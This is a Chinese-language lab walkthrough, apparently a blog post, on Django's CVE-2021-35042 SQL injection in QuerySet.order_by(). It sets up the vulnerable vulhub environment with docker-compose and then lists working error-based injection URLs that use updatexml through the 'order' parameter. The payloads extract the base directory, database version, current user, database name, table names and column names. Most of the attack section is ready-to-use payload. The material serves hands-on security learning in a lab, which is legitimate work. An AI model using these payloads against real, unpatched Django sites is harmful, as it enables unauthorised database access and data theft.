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什么是 Django 框架

Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库，使得开发 Web 应用程序变得更加容易和高效。Django 遵循了“MTV”（模型-模板-视图）的设计模式，将应用程序的不同组件分离开来，使得开发人员可以更加专注于应用程序的不同方面。Django 组件存在 SQL 注入漏洞，该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足，攻击者可利用该漏洞在未授权的情况下，构造恶意数据执行 SQL 注入攻击，最终造成服务器敏感信息泄露。

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目录：

什么是 Django 框架

开启 漏洞 靶场：

（1）查看目录：

（2）启用 vulhub 漏洞：

（3）进行浏览：主机的 8000 端口.

进行 漏洞 测试：

（1）寻找 URL 有输入点的地方就行：

（2）构造报错注入进行攻击获取数据：（查询根目录信息）

（3）构造报错注入进行攻击获取数据：（查询数据库版本信息）

（4）构造报错注入进行攻击获取数据：（查当前用户）

（5）构造报错注入进行攻击获取数据：（查当前数据库）

（6）构造报错注入进行攻击获取数据：（查表）

（7）构造报错注入进行攻击获取数据：（查字段）

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开启 漏洞 靶场：

Web安全：iwebsec || vulhub 靶场搭建.（各种漏洞环境集合，一键搭建漏洞测试靶场）_iwebsec靶场-CSDN博客

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（1）查看目录：

（1）cd vulhub（2）ls

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（2）启用 vulhub 漏洞：

（1）cd django             // 切换到对应的漏洞目录.（2）cd CVE-2021-35042              // 切换到对应的漏洞版本.（3）docker-compose build           // 建立容器（4）docker-compose up -d           // 启用漏洞环境.（5）docker ps                      // 查看环境运行状态

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（3）进行浏览：主机的 8000 端口.

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进行 漏洞 测试：

（1）怎么测试框架类型.（浏览器安装插件检测 Wappalyzer ）

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（2）寻找 URL 有输入点的地方就行：

例如：http://172.16.10.19:8000//vuln/?order=后面就是写SQL语句的查询.

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（3）构造报错注入进行攻击获取数据：（查询根目录信息）

/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

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（4）构造报错注入进行攻击获取数据：（查询数据库版本信息）

/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

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（5）构造报错注入进行攻击获取数据：（查当前用户）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20user%28%29%29%29,1%29%23

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（6）构造报错注入进行攻击获取数据：（查当前数据库）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20database%28%29%29%29,1%29%23

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（7）构造报错注入进行攻击获取数据：（查表）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=database%28%29%29%29,1%29%23

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（8）构造报错注入进行攻击获取数据：（查字段）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,concat%280x5c,%28select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1%29,0x5c%29,1%29%23